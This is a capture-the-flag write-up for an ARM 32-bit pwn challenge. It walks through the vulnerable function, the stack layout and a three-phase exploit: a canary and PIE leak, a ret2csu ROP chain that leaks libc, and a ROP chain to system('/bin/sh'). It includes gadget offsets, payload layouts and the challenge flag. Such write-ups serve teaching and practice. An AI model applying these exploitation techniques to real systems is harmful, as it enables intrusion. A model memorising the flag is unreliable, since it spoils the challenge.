Arms Roped - Pwn (Medium)
Challenge Info
- Category: Pwn
- Difficulty: Medium (515 solves)
- Description: Get a shell!
- Binary: ELF 32-bit ARM (armhf), PIE, dynamically linked, not stripped
- Environment: QEMU user-mode with patched ASLR randomization
Binary Analysis
Protections
- PIE: Enabled
- NX: Enabled
- Canary: Enabled
- RELRO: Partial
Key Function: string_storer()
void string_storer() {
char buffer[32]; // at fp-48 (4 bytes var + 28 bytes zeroed)
// canary at fp-16
while (1) {
scanf("%m[^\n]%n", &tmp, &n); // %m allocates with malloc
getchar();
memcpy(buffer, tmp, n); // OVERFLOW if n > 32
free(tmp);
if (memcmp(buffer, "quit", 4) == 0) break;
puts(buffer); // INFO LEAK
}
// canary check + return via pop {r4, fp, pc}
}
Stack Layout (from fp-48)
Offset Content
0-31 buffer (32 bytes)
32-35 stack canary
36-39 local variable
40-43 saved r4 ← pop {r4, fp, pc}
44-47 saved fp ←
48-51 saved lr ← return address (pc)
52+ ROP chain data
Vulnerabilities
- Buffer overflow:
memcpy(buffer, input, strlen(input))with no size check. Buffer is 32 bytes but input can be up to ~4000 chars. - Info leak:
puts(buffer)prints until null byte. Overflowing past canary/saved regs leaks their values. - Canary bypass: Canary check only happens on loop exit ("quit"). Multiple overflow iterations possible before returning.
Exploit Strategy (3 phases)
Phase 1: Leak Canary + PIE Base
- Iteration 1: Send 33 bytes → overwrites canary LSB (0x00),
putsleaks canary bytes [1:3]- Canary =
0x00 | leaked[0]<<8 | leaked[1]<<16 | leaked[2]<<24
- Canary =
- Iteration 2: Send 45 bytes → overwrites through saved_fp[0],
putsleaks saved_fp[1:3] + saved_lr[0:3]PIE_base = saved_lr - 0x948
Phase 2: ROP to Leak Libc (ret2csu)
Uses ARM __libc_csu_init gadgets:
- Pop gadget (PIE+0x9ec):
pop {r4, r5, r6, r7, r8, r9, sl, pc} - Call gadget (PIE+0x9cc):
ldr r3,[r5],#4; mov r0,r7; blx r3+ loop +pop {r4..pc}
Iteration 3: Write ROP chain to stack:
padding(32) + canary + junk(4) + r4(0) + fp(0) +
pc=pop_gadget + r4=0 + r5=GOT.puts + r6=1 + r7=GOT.puts +
r8=0 + r9=0 + r10=0 + pc=call_gadget +
r4..r10=0 + pc=main
Iteration 4: Send "quit" → triggers return → ROP executes → puts(GOT.puts) leaks libc puts address → returns to main.
libc_base = leaked_puts - 0x49ba5
Phase 3: Shell via system("/bin/sh")
Uses libc gadget: pop {r0, r4, pc} at libc+0x5bebc
New string_storer call (same canary):
padding(32) + canary + junk(4) + r4(0) + fp(0) +
pc=pop_r0_r4_pc + r0="/bin/sh" + r4=0 + pc=system
Send "quit" → system("/bin/sh") → shell!
Key ARM Details
- ARM calling convention: r0-r3 for arguments
pop {r4, fp, pc}controls r4, fp, and return address- ARM/Thumb interworking: system() at odd address (0x2f511) → Thumb mode via pc load
- Stack canary LSB is 0x00 on ARM (prevents string-based leaks without overwrite)
Flag
HTB{_r0pp1Ng_0n_4rM_1s_n0t_s0_34sy_L1K3_x86!!}